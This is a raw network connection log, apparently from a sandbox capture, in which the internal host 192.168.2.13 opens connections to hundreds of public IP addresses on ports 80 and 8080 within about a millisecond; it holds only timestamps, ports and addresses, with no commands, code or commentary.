Mar 21, 2024 05:21:47.390861988 CET	50480	80	192.168.2.13	178.217.158.192
Mar 21, 2024 05:21:47.390866041 CET	49712	8080	192.168.2.13	172.160.6.206
Mar 21, 2024 05:21:47.390866041 CET	50480	80	192.168.2.13	178.119.228.121
Mar 21, 2024 05:21:47.390870094 CET	49712	8080	192.168.2.13	98.32.238.244
Mar 21, 2024 05:21:47.390872002 CET	50480	80	192.168.2.13	178.159.93.102
Mar 21, 2024 05:21:47.390872002 CET	49712	8080	192.168.2.13	98.74.73.89
Mar 21, 2024 05:21:47.390876055 CET	50480	80	192.168.2.13	178.20.60.46
Mar 21, 2024 05:21:47.390880108 CET	49712	8080	192.168.2.13	172.47.249.101
Mar 21, 2024 05:21:47.390880108 CET	49712	8080	192.168.2.13	184.60.12.204
Mar 21, 2024 05:21:47.390880108 CET	49712	8080	192.168.2.13	172.33.17.32
Mar 21, 2024 05:21:47.390881062 CET	50480	80	192.168.2.13	178.90.155.93
Mar 21, 2024 05:21:47.390882015 CET	49712	8080	192.168.2.13	172.176.169.144
Mar 21, 2024 05:21:47.390882015 CET	50480	80	192.168.2.13	178.184.101.202
Mar 21, 2024 05:21:47.390882015 CET	49712	8080	192.168.2.13	184.113.216.45
Mar 21, 2024 05:21:47.390885115 CET	49712	8080	192.168.2.13	172.200.44.195
Mar 21, 2024 05:21:47.390882015 CET	49712	8080	192.168.2.13	172.220.94.149
Mar 21, 2024 05:21:47.390899897 CET	50480	80	192.168.2.13	178.243.81.94
Mar 21, 2024 05:21:47.390914917 CET	49712	8080	192.168.2.13	184.254.151.13
Mar 21, 2024 05:21:47.390919924 CET	50480	80	192.168.2.13	178.94.50.250
Mar 21, 2024 05:21:47.390921116 CET	49712	8080	192.168.2.13	184.142.38.142
Mar 21, 2024 05:21:47.390928984 CET	50480	80	192.168.2.13	178.133.105.151
Mar 21, 2024 05:21:47.390928984 CET	50480	80	192.168.2.13	178.47.19.171
Mar 21, 2024 05:21:47.390928984 CET	50480	80	192.168.2.13	178.84.210.179
Mar 21, 2024 05:21:47.390934944 CET	50480	80	192.168.2.13	178.214.145.159
Mar 21, 2024 05:21:47.390934944 CET	49712	8080	192.168.2.13	172.235.45.203
Mar 21, 2024 05:21:47.390934944 CET	50480	80	192.168.2.13	178.58.253.57
Mar 21, 2024 05:21:47.390938044 CET	49712	8080	192.168.2.13	184.117.68.243
Mar 21, 2024 05:21:47.390938044 CET	50480	80	192.168.2.13	178.182.194.93
Mar 21, 2024 05:21:47.390938997 CET	50480	80	192.168.2.13	178.49.11.112
Mar 21, 2024 05:21:47.390939951 CET	49712	8080	192.168.2.13	184.9.57.237
Mar 21, 2024 05:21:47.390939951 CET	49712	8080	192.168.2.13	98.85.21.199
Mar 21, 2024 05:21:47.390960932 CET	49712	8080	192.168.2.13	98.180.181.118
Mar 21, 2024 05:21:47.390970945 CET	50480	80	192.168.2.13	178.82.196.189
Mar 21, 2024 05:21:47.390980005 CET	50480	80	192.168.2.13	178.240.195.165
Mar 21, 2024 05:21:47.390980005 CET	50480	80	192.168.2.13	178.169.197.17
Mar 21, 2024 05:21:47.390980005 CET	49712	8080	192.168.2.13	98.241.242.227
Mar 21, 2024 05:21:47.390980005 CET	49712	8080	192.168.2.13	98.110.149.183
Mar 21, 2024 05:21:47.390985012 CET	49712	8080	192.168.2.13	184.61.124.53
Mar 21, 2024 05:21:47.390985012 CET	50480	80	192.168.2.13	178.160.191.11
Mar 21, 2024 05:21:47.390985012 CET	50480	80	192.168.2.13	178.191.182.62
Mar 21, 2024 05:21:47.390985012 CET	49712	8080	192.168.2.13	172.143.109.101
Mar 21, 2024 05:21:47.390989065 CET	49712	8080	192.168.2.13	172.127.210.169
Mar 21, 2024 05:21:47.390989065 CET	50480	80	192.168.2.13	178.196.49.219
Mar 21, 2024 05:21:47.390989065 CET	49712	8080	192.168.2.13	172.86.233.227
Mar 21, 2024 05:21:47.390989065 CET	50480	80	192.168.2.13	178.220.53.211
Mar 21, 2024 05:21:47.390991926 CET	50480	80	192.168.2.13	178.215.159.180
Mar 21, 2024 05:21:47.390991926 CET	49712	8080	192.168.2.13	184.232.176.41
Mar 21, 2024 05:21:47.390990973 CET	49712	8080	192.168.2.13	184.77.142.164
Mar 21, 2024 05:21:47.390991926 CET	50480	80	192.168.2.13	178.98.105.58
Mar 21, 2024 05:21:47.390990973 CET	49712	8080	192.168.2.13	98.128.195.49
Mar 21, 2024 05:21:47.390993118 CET	49712	8080	192.168.2.13	184.182.235.113
Mar 21, 2024 05:21:47.390990973 CET	50480	80	192.168.2.13	178.62.238.221
Mar 21, 2024 05:21:47.390991926 CET	49712	8080	192.168.2.13	184.248.64.105
Mar 21, 2024 05:21:47.390990973 CET	50480	80	192.168.2.13	178.38.204.202
Mar 21, 2024 05:21:47.390999079 CET	50480	80	192.168.2.13	178.177.236.38
Mar 21, 2024 05:21:47.390991926 CET	49712	8080	192.168.2.13	184.81.155.252
Mar 21, 2024 05:21:47.391000032 CET	49712	8080	192.168.2.13	98.200.32.104
Mar 21, 2024 05:21:47.390993118 CET	50480	80	192.168.2.13	178.107.243.78
Mar 21, 2024 05:21:47.391000032 CET	50480	80	192.168.2.13	178.161.3.35
Mar 21, 2024 05:21:47.391002893 CET	50480	80	192.168.2.13	178.175.84.254
Mar 21, 2024 05:21:47.391002893 CET	49712	8080	192.168.2.13	172.204.98.104
Mar 21, 2024 05:21:47.391002893 CET	49712	8080	192.168.2.13	184.109.230.108
Mar 21, 2024 05:21:47.391002893 CET	49712	8080	192.168.2.13	172.82.218.24
Mar 21, 2024 05:21:47.391002893 CET	49712	8080	192.168.2.13	184.111.150.82
Mar 21, 2024 05:21:47.391002893 CET	50480	80	192.168.2.13	178.109.28.100
Mar 21, 2024 05:21:47.391002893 CET	50480	80	192.168.2.13	178.187.239.19
Mar 21, 2024 05:21:47.391002893 CET	49712	8080	192.168.2.13	184.110.208.123
Mar 21, 2024 05:21:47.391017914 CET	49712	8080	192.168.2.13	184.88.173.142
Mar 21, 2024 05:21:47.391022921 CET	50480	80	192.168.2.13	178.83.63.208
Mar 21, 2024 05:21:47.391022921 CET	50480	80	192.168.2.13	178.35.246.175
Mar 21, 2024 05:21:47.391047001 CET	49712	8080	192.168.2.13	172.61.175.11
Mar 21, 2024 05:21:47.391047001 CET	49712	8080	192.168.2.13	98.143.27.52
Mar 21, 2024 05:21:47.391047955 CET	49712	8080	192.168.2.13	98.79.133.93
Mar 21, 2024 05:21:47.391047001 CET	50480	80	192.168.2.13	178.50.60.50
Mar 21, 2024 05:21:47.391047955 CET	50480	80	192.168.2.13	178.8.11.30
Mar 21, 2024 05:21:47.391051054 CET	49712	8080	192.168.2.13	184.155.19.253
Mar 21, 2024 05:21:47.391047001 CET	49712	8080	192.168.2.13	184.161.9.153
Mar 21, 2024 05:21:47.391051054 CET	49712	8080	192.168.2.13	98.145.49.218
Mar 21, 2024 05:21:47.391051054 CET	49712	8080	192.168.2.13	98.18.224.137
Mar 21, 2024 05:21:47.391051054 CET	49712	8080	192.168.2.13	98.30.50.199
Mar 21, 2024 05:21:47.391062021 CET	50480	80	192.168.2.13	178.62.7.15
Mar 21, 2024 05:21:47.391062021 CET	50480	80	192.168.2.13	178.37.64.43
Mar 21, 2024 05:21:47.391062021 CET	49712	8080	192.168.2.13	172.177.190.93
Mar 21, 2024 05:21:47.391064882 CET	50480	80	192.168.2.13	178.92.21.63
Mar 21, 2024 05:21:47.391064882 CET	50480	80	192.168.2.13	178.224.243.11
Mar 21, 2024 05:21:47.391064882 CET	49712	8080	192.168.2.13	184.147.189.236
Mar 21, 2024 05:21:47.391081095 CET	49712	8080	192.168.2.13	98.134.4.105
Mar 21, 2024 05:21:47.391081095 CET	50480	80	192.168.2.13	178.186.61.240
Mar 21, 2024 05:21:47.391081095 CET	50480	80	192.168.2.13	178.5.93.93
Mar 21, 2024 05:21:47.391081095 CET	49712	8080	192.168.2.13	184.16.135.91
Mar 21, 2024 05:21:47.391081095 CET	50480	80	192.168.2.13	178.244.97.69
Mar 21, 2024 05:21:47.391081095 CET	50480	80	192.168.2.13	178.100.19.159
Mar 21, 2024 05:21:47.391094923 CET	50480	80	192.168.2.13	178.67.74.197
Mar 21, 2024 05:21:47.391094923 CET	50480	80	192.168.2.13	178.96.70.154
Mar 21, 2024 05:21:47.391108036 CET	50480	80	192.168.2.13	178.86.130.186
Mar 21, 2024 05:21:47.391108036 CET	49712	8080	192.168.2.13	98.42.15.241
Mar 21, 2024 05:21:47.391113997 CET	49712	8080	192.168.2.13	184.163.175.71
Mar 21, 2024 05:21:47.391113997 CET	50480	80	192.168.2.13	178.213.73.49
Mar 21, 2024 05:21:47.391127110 CET	50480	80	192.168.2.13	178.1.82.137
Mar 21, 2024 05:21:47.391127110 CET	49712	8080	192.168.2.13	184.147.125.123
Mar 21, 2024 05:21:47.391127110 CET	49712	8080	192.168.2.13	98.72.147.2
Mar 21, 2024 05:21:47.391127110 CET	49712	8080	192.168.2.13	184.160.198.75
Mar 21, 2024 05:21:47.391134024 CET	49712	8080	192.168.2.13	172.61.94.41
Mar 21, 2024 05:21:47.391134024 CET	49712	8080	192.168.2.13	98.203.39.114
Mar 21, 2024 05:21:47.391134024 CET	50480	80	192.168.2.13	178.182.189.76
Mar 21, 2024 05:21:47.391134024 CET	50480	80	192.168.2.13	178.53.214.150
Mar 21, 2024 05:21:47.391134977 CET	49712	8080	192.168.2.13	184.195.155.237
Mar 21, 2024 05:21:47.391160011 CET	50480	80	192.168.2.13	178.184.96.209
Mar 21, 2024 05:21:47.391160011 CET	49712	8080	192.168.2.13	172.103.105.166
Mar 21, 2024 05:21:47.391165972 CET	50480	80	192.168.2.13	178.113.190.76
Mar 21, 2024 05:21:47.391170979 CET	50480	80	192.168.2.13	178.98.45.196
Mar 21, 2024 05:21:47.391170979 CET	50480	80	192.168.2.13	178.7.53.104
Mar 21, 2024 05:21:47.391170979 CET	50480	80	192.168.2.13	178.22.165.51
Mar 21, 2024 05:21:47.391184092 CET	50480	80	192.168.2.13	178.20.134.142
Mar 21, 2024 05:21:47.391184092 CET	49712	8080	192.168.2.13	184.73.107.74
Mar 21, 2024 05:21:47.391184092 CET	50480	80	192.168.2.13	178.228.59.95
Mar 21, 2024 05:21:47.391202927 CET	49712	8080	192.168.2.13	184.156.20.188
Mar 21, 2024 05:21:47.391211033 CET	50480	80	192.168.2.13	178.45.43.236
Mar 21, 2024 05:21:47.391211033 CET	50480	80	192.168.2.13	178.13.180.79
Mar 21, 2024 05:21:47.391211033 CET	49712	8080	192.168.2.13	98.192.100.185
Mar 21, 2024 05:21:47.391211987 CET	50480	80	192.168.2.13	178.204.146.34
Mar 21, 2024 05:21:47.391211033 CET	49712	8080	192.168.2.13	98.157.213.91
Mar 21, 2024 05:21:47.391211987 CET	50480	80	192.168.2.13	178.152.137.212
Mar 21, 2024 05:21:47.391211033 CET	49712	8080	192.168.2.13	172.223.163.75
Mar 21, 2024 05:21:47.391211987 CET	50480	80	192.168.2.13	178.125.147.39
Mar 21, 2024 05:21:47.391213894 CET	49712	8080	192.168.2.13	172.49.231.107
Mar 21, 2024 05:21:47.391247988 CET	49712	8080	192.168.2.13	98.135.195.100
Mar 21, 2024 05:21:47.391247988 CET	49712	8080	192.168.2.13	184.140.119.75
Mar 21, 2024 05:21:47.391247988 CET	49712	8080	192.168.2.13	184.26.227.199
Mar 21, 2024 05:21:47.391247988 CET	49712	8080	192.168.2.13	172.25.102.26
Mar 21, 2024 05:21:47.391249895 CET	49712	8080	192.168.2.13	172.159.132.206
Mar 21, 2024 05:21:47.391249895 CET	50480	80	192.168.2.13	178.40.216.145
Mar 21, 2024 05:21:47.391249895 CET	50480	80	192.168.2.13	178.85.135.20
Mar 21, 2024 05:21:47.391249895 CET	50480	80	192.168.2.13	178.130.112.0
Mar 21, 2024 05:21:47.391251087 CET	50480	80	192.168.2.13	178.153.128.129
Mar 21, 2024 05:21:47.391251087 CET	50480	80	192.168.2.13	178.178.241.133
Mar 21, 2024 05:21:47.391251087 CET	49712	8080	192.168.2.13	172.252.75.20
Mar 21, 2024 05:21:47.391261101 CET	49712	8080	192.168.2.13	184.81.208.183
Mar 21, 2024 05:21:47.391261101 CET	49712	8080	192.168.2.13	98.41.177.92
Mar 21, 2024 05:21:47.391261101 CET	49712	8080	192.168.2.13	98.86.61.82
Mar 21, 2024 05:21:47.391263962 CET	50480	80	192.168.2.13	178.171.180.104
Mar 21, 2024 05:21:47.391264915 CET	49712	8080	192.168.2.13	98.160.102.4
Mar 21, 2024 05:21:47.391264915 CET	49712	8080	192.168.2.13	184.179.153.135
Mar 21, 2024 05:21:47.391264915 CET	50480	80	192.168.2.13	178.132.149.139
Mar 21, 2024 05:21:47.391264915 CET	50480	80	192.168.2.13	178.6.135.190
Mar 21, 2024 05:21:47.391264915 CET	50480	80	192.168.2.13	178.174.199.134
Mar 21, 2024 05:21:47.391283035 CET	50480	80	192.168.2.13	178.144.52.145
Mar 21, 2024 05:21:47.391294003 CET	49712	8080	192.168.2.13	98.169.203.166
Mar 21, 2024 05:21:47.391299009 CET	49712	8080	192.168.2.13	172.163.168.144
Mar 21, 2024 05:21:47.391299009 CET	50480	80	192.168.2.13	178.208.128.19
Mar 21, 2024 05:21:47.391299009 CET	49712	8080	192.168.2.13	184.104.110.58
Mar 21, 2024 05:21:47.391299009 CET	49712	8080	192.168.2.13	184.166.62.34
Mar 21, 2024 05:21:47.391299009 CET	50480	80	192.168.2.13	178.106.254.56
Mar 21, 2024 05:21:47.391303062 CET	49712	8080	192.168.2.13	98.168.114.239
Mar 21, 2024 05:21:47.391305923 CET	49712	8080	192.168.2.13	184.41.162.218
Mar 21, 2024 05:21:47.391314030 CET	49712	8080	192.168.2.13	172.43.220.16
Mar 21, 2024 05:21:47.391318083 CET	49712	8080	192.168.2.13	98.217.69.243
Mar 21, 2024 05:21:47.391334057 CET	49712	8080	192.168.2.13	172.120.215.64
Mar 21, 2024 05:21:47.391335011 CET	50480	80	192.168.2.13	178.209.53.95
Mar 21, 2024 05:21:47.391341925 CET	50480	80	192.168.2.13	178.48.151.242
Mar 21, 2024 05:21:47.391341925 CET	50480	80	192.168.2.13	178.14.185.58
Mar 21, 2024 05:21:47.391341925 CET	49712	8080	192.168.2.13	184.183.59.94
Mar 21, 2024 05:21:47.391341925 CET	49712	8080	192.168.2.13	172.57.228.225
Mar 21, 2024 05:21:47.391341925 CET	49712	8080	192.168.2.13	172.193.46.151
Mar 21, 2024 05:21:47.391346931 CET	49712	8080	192.168.2.13	172.154.208.64
Mar 21, 2024 05:21:47.391346931 CET	50480	80	192.168.2.13	178.204.39.4
Mar 21, 2024 05:21:47.391366959 CET	50480	80	192.168.2.13	178.253.196.152
Mar 21, 2024 05:21:47.391366959 CET	49712	8080	192.168.2.13	184.63.189.155
Mar 21, 2024 05:21:47.391366959 CET	49712	8080	192.168.2.13	98.205.236.174
Mar 21, 2024 05:21:47.391372919 CET	49712	8080	192.168.2.13	184.104.171.17
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	98.4.39.223
Mar 21, 2024 05:21:47.391376019 CET	50480	80	192.168.2.13	178.54.117.252
Mar 21, 2024 05:21:47.391376019 CET	50480	80	192.168.2.13	178.15.251.177
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	184.252.67.94
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	172.59.207.50
Mar 21, 2024 05:21:47.391376019 CET	50480	80	192.168.2.13	178.152.254.228
Mar 21, 2024 05:21:47.391380072 CET	50480	80	192.168.2.13	178.142.175.71
Mar 21, 2024 05:21:47.391380072 CET	50480	80	192.168.2.13	178.211.2.8
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	184.74.166.226
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	184.56.10.56
Mar 21, 2024 05:21:47.391376019 CET	49712	8080	192.168.2.13	98.41.22.149
Mar 21, 2024 05:21:47.391376019 CET	50480	80	192.168.2.13	178.200.206.45
Mar 21, 2024 05:21:47.391388893 CET	50480	80	192.168.2.13	178.150.122.197
Mar 21, 2024 05:21:47.391391993 CET	49712	8080	192.168.2.13	184.99.54.202
Mar 21, 2024 05:21:47.391391993 CET	50480	80	192.168.2.13	178.175.109.84
Mar 21, 2024 05:21:47.391391993 CET	50480	80	192.168.2.13	178.188.59.50
Mar 21, 2024 05:21:47.391391993 CET	49712	8080	192.168.2.13	98.78.14.56
Mar 21, 2024 05:21:47.391388893 CET	50480	80	192.168.2.13	178.4.179.108
Mar 21, 2024 05:21:47.391391993 CET	49712	8080	192.168.2.13	98.134.19.86
Mar 21, 2024 05:21:47.391391039 CET	50480	80	192.168.2.13	178.59.148.101
Mar 21, 2024 05:21:47.391395092 CET	50480	80	192.168.2.13	178.205.192.93
Mar 21, 2024 05:21:47.391395092 CET	49712	8080	192.168.2.13	184.101.34.197
Mar 21, 2024 05:21:47.391395092 CET	50480	80	192.168.2.13	178.187.226.169
Mar 21, 2024 05:21:47.391418934 CET	50480	80	192.168.2.13	178.232.135.134
Mar 21, 2024 05:21:47.391442060 CET	49712	8080	192.168.2.13	184.67.157.201
Mar 21, 2024 05:21:47.391442060 CET	50480	80	192.168.2.13	178.97.65.181
Mar 21, 2024 05:21:47.391443014 CET	50480	80	192.168.2.13	178.217.243.241
Mar 21, 2024 05:21:47.391443014 CET	50480	80	192.168.2.13	178.133.143.130
Mar 21, 2024 05:21:47.391452074 CET	49712	8080	192.168.2.13	172.162.18.153
Mar 21, 2024 05:21:47.391452074 CET	49712	8080	192.168.2.13	184.229.205.12
Mar 21, 2024 05:21:47.391452074 CET	49712	8080	192.168.2.13	172.158.23.219
Mar 21, 2024 05:21:47.391452074 CET	50480	80	192.168.2.13	178.11.159.212
Mar 21, 2024 05:21:47.391463041 CET	49712	8080	192.168.2.13	172.164.214.133
Mar 21, 2024 05:21:47.391479015 CET	49712	8080	192.168.2.13	98.212.176.15
Mar 21, 2024 05:21:47.391479015 CET	50480	80	192.168.2.13	178.50.55.231
Mar 21, 2024 05:21:47.391506910 CET	49712	8080	192.168.2.13	98.180.38.188
Mar 21, 2024 05:21:47.391506910 CET	49712	8080	192.168.2.13	98.238.106.69
Mar 21, 2024 05:21:47.391506910 CET	49712	8080	192.168.2.13	184.60.32.156
Mar 21, 2024 05:21:47.391506910 CET	49712	8080	192.168.2.13	172.184.228.46
Mar 21, 2024 05:21:47.391510010 CET	49712	8080	192.168.2.13	184.87.244.44
Mar 21, 2024 05:21:47.391509056 CET	49712	8080	192.168.2.13	172.7.51.147
Mar 21, 2024 05:21:47.391510010 CET	50480	80	192.168.2.13	178.67.161.200
Mar 21, 2024 05:21:47.391509056 CET	50480	80	192.168.2.13	178.53.77.129
Mar 21, 2024 05:21:47.391509056 CET	50480	80	192.168.2.13	178.218.1.73
Mar 21, 2024 05:21:47.391509056 CET	49712	8080	192.168.2.13	172.110.3.13
Mar 21, 2024 05:21:47.391515970 CET	50480	80	192.168.2.13	178.27.151.38
Mar 21, 2024 05:21:47.391515970 CET	49712	8080	192.168.2.13	172.6.217.76
Mar 21, 2024 05:21:47.391515970 CET	49712	8080	192.168.2.13	184.121.213.18
Mar 21, 2024 05:21:47.391515970 CET	49712	8080	192.168.2.13	98.224.180.254
Mar 21, 2024 05:21:47.391529083 CET	50480	80	192.168.2.13	178.99.40.78
Mar 21, 2024 05:21:47.391530037 CET	50480	80	192.168.2.13	178.166.139.103
Mar 21, 2024 05:21:47.391530037 CET	50480	80	192.168.2.13	178.230.108.86
Mar 21, 2024 05:21:47.391530037 CET	50480	80	192.168.2.13	178.116.172.41
Mar 21, 2024 05:21:47.391535044 CET	49712	8080	192.168.2.13	98.105.198.120
Mar 21, 2024 05:21:47.391535044 CET	49712	8080	192.168.2.13	98.39.99.231
Mar 21, 2024 05:21:47.391535044 CET	50480	80	192.168.2.13	178.47.193.244
Mar 21, 2024 05:21:47.391552925 CET	49712	8080	192.168.2.13	98.108.135.200
Mar 21, 2024 05:21:47.391552925 CET	50480	80	192.168.2.13	178.163.112.232
Mar 21, 2024 05:21:47.391557932 CET	50480	80	192.168.2.13	178.180.84.226
Mar 21, 2024 05:21:47.391552925 CET	49712	8080	192.168.2.13	172.195.76.185
Mar 21, 2024 05:21:47.391552925 CET	50480	80	192.168.2.13	178.149.48.71
Mar 21, 2024 05:21:47.391552925 CET	49712	8080	192.168.2.13	172.213.115.50
Mar 21, 2024 05:21:47.391554117 CET	50480	80	192.168.2.13	178.210.203.13
Mar 21, 2024 05:21:47.391552925 CET	49712	8080	192.168.2.13	184.186.248.168
Mar 21, 2024 05:21:47.391552925 CET	49712	8080	192.168.2.13	172.172.74.174
Mar 21, 2024 05:21:47.391561031 CET	50480	80	192.168.2.13	178.160.118.38
Mar 21, 2024 05:21:47.391561031 CET	50480	80	192.168.2.13	178.248.112.245
Mar 21, 2024 05:21:47.391561031 CET	49712	8080	192.168.2.13	98.250.36.92
Mar 21, 2024 05:21:47.391572952 CET	49712	8080	192.168.2.13	184.108.161.254
Mar 21, 2024 05:21:47.391583920 CET	50480	80	192.168.2.13	178.155.247.241
Mar 21, 2024 05:21:47.391602039 CET	49712	8080	192.168.2.13	184.101.125.235
Mar 21, 2024 05:21:47.391602993 CET	50480	80	192.168.2.13	178.230.94.207
Mar 21, 2024 05:21:47.391602993 CET	49712	8080	192.168.2.13	172.132.126.128
Mar 21, 2024 05:21:47.391602993 CET	49712	8080	192.168.2.13	184.16.82.207
Mar 21, 2024 05:21:47.391602993 CET	49712	8080	192.168.2.13	172.108.113.146
Mar 21, 2024 05:21:47.391618013 CET	49712	8080	192.168.2.13	172.199.212.3
Mar 21, 2024 05:21:47.391629934 CET	49712	8080	192.168.2.13	184.161.87.108
Mar 21, 2024 05:21:47.391629934 CET	50480	80	192.168.2.13	178.224.110.21
Mar 21, 2024 05:21:47.391630888 CET	50480	80	192.168.2.13	178.255.1.42
Mar 21, 2024 05:21:47.391633987 CET	50480	80	192.168.2.13	178.254.174.145
Mar 21, 2024 05:21:47.391633987 CET	49712	8080	192.168.2.13	184.171.51.155
Mar 21, 2024 05:21:47.391630888 CET	49712	8080	192.168.2.13	172.51.46.66
Mar 21, 2024 05:21:47.391633987 CET	49712	8080	192.168.2.13	98.212.37.244
Mar 21, 2024 05:21:47.391633987 CET	49712	8080	192.168.2.13	172.40.75.241
Mar 21, 2024 05:21:47.391643047 CET	50480	80	192.168.2.13	178.247.95.54
Mar 21, 2024 05:21:47.391643047 CET	50480	80	192.168.2.13	178.197.29.21
Mar 21, 2024 05:21:47.391648054 CET	50480	80	192.168.2.13	178.2.27.80
Mar 21, 2024 05:21:47.391648054 CET	50480	80	192.168.2.13	178.94.131.83
Mar 21, 2024 05:21:47.391648054 CET	49712	8080	192.168.2.13	184.138.106.245
Mar 21, 2024 05:21:47.391648054 CET	50480	80	192.168.2.13	178.124.179.109
Mar 21, 2024 05:21:47.391648054 CET	49712	8080	192.168.2.13	184.82.158.231
Mar 21, 2024 05:21:47.391650915 CET	50480	80	192.168.2.13	178.14.212.5
Mar 21, 2024 05:21:47.391650915 CET	50480	80	192.168.2.13	178.225.161.120
Mar 21, 2024 05:21:47.391664982 CET	49712	8080	192.168.2.13	184.48.33.188
Mar 21, 2024 05:21:47.391675949 CET	50480	80	192.168.2.13	178.222.64.146
Mar 21, 2024 05:21:47.391675949 CET	50480	80	192.168.2.13	178.182.71.198
Mar 21, 2024 05:21:47.391679049 CET	50480	80	192.168.2.13	178.123.57.204
Mar 21, 2024 05:21:47.391684055 CET	50480	80	192.168.2.13	178.174.53.251
Mar 21, 2024 05:21:47.391691923 CET	50480	80	192.168.2.13	178.1.134.239
Mar 21, 2024 05:21:47.391691923 CET	49712	8080	192.168.2.13	184.98.14.154
Mar 21, 2024 05:21:47.391691923 CET	50480	80	192.168.2.13	178.30.61.41
Mar 21, 2024 05:21:47.391691923 CET	49712	8080	192.168.2.13	98.159.94.202
Mar 21, 2024 05:21:47.391691923 CET	49712	8080	192.168.2.13	184.210.173.201
Mar 21, 2024 05:21:47.391691923 CET	49712	8080	192.168.2.13	172.178.205.147
Mar 21, 2024 05:21:47.391704082 CET	50480	80	192.168.2.13	178.42.92.121
Mar 21, 2024 05:21:47.391705036 CET	50480	80	192.168.2.13	178.225.204.32
Mar 21, 2024 05:21:47.391707897 CET	49712	8080	192.168.2.13	184.16.230.131
Mar 21, 2024 05:21:47.391707897 CET	49712	8080	192.168.2.13	184.146.74.243
Mar 21, 2024 05:21:47.391712904 CET	49712	8080	192.168.2.13	98.12.118.114
Mar 21, 2024 05:21:47.391716003 CET	49712	8080	192.168.2.13	172.149.218.131
Mar 21, 2024 05:21:47.391720057 CET	50480	80	192.168.2.13	178.109.244.52
Mar 21, 2024 05:21:47.391726017 CET	49712	8080	192.168.2.13	172.153.37.85
Mar 21, 2024 05:21:47.391726017 CET	50480	80	192.168.2.13	178.78.69.95
Mar 21, 2024 05:21:47.391726017 CET	50480	80	192.168.2.13	178.18.223.36
Mar 21, 2024 05:21:47.391740084 CET	50480	80	192.168.2.13	178.151.114.137
Mar 21, 2024 05:21:47.391740084 CET	50480	80	192.168.2.13	178.138.240.73
Mar 21, 2024 05:21:47.391740084 CET	50480	80	192.168.2.13	178.85.201.138
Mar 21, 2024 05:21:47.391740084 CET	49712	8080	192.168.2.13	184.243.80.67
Mar 21, 2024 05:21:47.391740084 CET	50480	80	192.168.2.13	178.39.59.184
Mar 21, 2024 05:21:47.391774893 CET	49712	8080	192.168.2.13	98.60.241.80
Mar 21, 2024 05:21:47.391774893 CET	49712	8080	192.168.2.13	98.79.32.73
Mar 21, 2024 05:21:47.391781092 CET	50480	80	192.168.2.13	178.171.208.26
Mar 21, 2024 05:21:47.391781092 CET	49712	8080	192.168.2.13	184.190.228.127
Mar 21, 2024 05:21:47.391781092 CET	50480	80	192.168.2.13	178.71.3.158
Mar 21, 2024 05:21:47.391781092 CET	49712	8080	192.168.2.13	172.164.173.122
Mar 21, 2024 05:21:47.391781092 CET	50480	80	192.168.2.13	178.236.111.111
Mar 21, 2024 05:21:47.391781092 CET	50480	80	192.168.2.13	178.44.148.49
Mar 21, 2024 05:21:47.391788006 CET	49712	8080	192.168.2.13	98.121.185.102
Mar 21, 2024 05:21:47.391788006 CET	49712	8080	192.168.2.13	172.127.207.216
Mar 21, 2024 05:21:47.391788006 CET	49712	8080	192.168.2.13	172.14.29.172
Mar 21, 2024 05:21:47.391788006 CET	49712	8080	192.168.2.13	184.76.236.60
Mar 21, 2024 05:21:47.391796112 CET	50480	80	192.168.2.13	178.218.249.176
Mar 21, 2024 05:21:47.391797066 CET	50480	80	192.168.2.13	178.73.245.126
Mar 21, 2024 05:21:47.391796112 CET	49712	8080	192.168.2.13	184.216.167.97
Mar 21, 2024 05:21:47.391797066 CET	50480	80	192.168.2.13	178.28.221.76
Mar 21, 2024 05:21:47.391801119 CET	50480	80	192.168.2.13	178.91.1.172
Mar 21, 2024 05:21:47.391801119 CET	49712	8080	192.168.2.13	184.60.34.224
Mar 21, 2024 05:21:47.391801119 CET	50480	80	192.168.2.13	178.63.254.215
Mar 21, 2024 05:21:47.391801119 CET	49712	8080	192.168.2.13	184.68.25.119
Mar 21, 2024 05:21:47.391801119 CET	49712	8080	192.168.2.13	172.81.118.116
Mar 21, 2024 05:21:47.391801119 CET	49712	8080	192.168.2.13	98.189.12.186
Mar 21, 2024 05:21:47.391813993 CET	50480	80	192.168.2.13	178.124.165.233
Mar 21, 2024 05:21:47.391824961 CET	50480	80	192.168.2.13	178.122.147.3
Mar 21, 2024 05:21:47.391824961 CET	50480	80	192.168.2.13	178.185.106.54
Mar 21, 2024 05:21:47.391824961 CET	49712	8080	192.168.2.13	172.3.107.226
Mar 21, 2024 05:21:47.391833067 CET	49712	8080	192.168.2.13	184.213.90.82
Mar 21, 2024 05:21:47.391844034 CET	50480	80	192.168.2.13	178.113.45.129
Mar 21, 2024 05:21:47.391854048 CET	49712	8080	192.168.2.13	98.75.27.16
Mar 21, 2024 05:21:47.391874075 CET	50480	80	192.168.2.13	178.23.232.51
Mar 21, 2024 05:21:47.391880035 CET	50480	80	192.168.2.13	178.18.29.17
Mar 21, 2024 05:21:47.391880989 CET	49712	8080	192.168.2.13	184.29.25.81
Mar 21, 2024 05:21:47.391885042 CET	50480	80	192.168.2.13	178.134.33.121
Mar 21, 2024 05:21:47.391885042 CET	50480	80	192.168.2.13	178.144.12.101
Mar 21, 2024 05:21:47.391885042 CET	49712	8080	192.168.2.13	172.116.141.173
Mar 21, 2024 05:21:47.391885042 CET	49712	8080	192.168.2.13	98.35.243.141
Mar 21, 2024 05:21:47.391885042 CET	50480	80	192.168.2.13	178.144.166.12
Mar 21, 2024 05:21:47.391890049 CET	50480	80	192.168.2.13	178.139.90.30
Mar 21, 2024 05:21:47.391890049 CET	50480	80	192.168.2.13	178.168.217.46
Mar 21, 2024 05:21:47.391891003 CET	50480	80	192.168.2.13	178.95.235.4
Mar 21, 2024 05:21:47.391890049 CET	49712	8080	192.168.2.13	172.227.22.255
Mar 21, 2024 05:21:47.391891003 CET	50480	80	192.168.2.13	178.208.80.231
Mar 21, 2024 05:21:47.391890049 CET	50480	80	192.168.2.13	178.8.145.147
Mar 21, 2024 05:21:47.391891003 CET	49712	8080	192.168.2.13	172.22.204.74
Mar 21, 2024 05:21:47.391892910 CET	50480	80	192.168.2.13	178.122.74.31
Mar 21, 2024 05:21:47.391892910 CET	49712	8080	192.168.2.13	98.21.142.169
Mar 21, 2024 05:21:47.391891003 CET	50480	80	192.168.2.13	178.64.15.119
Mar 21, 2024 05:21:47.391890049 CET	50480	80	192.168.2.13	178.168.31.115
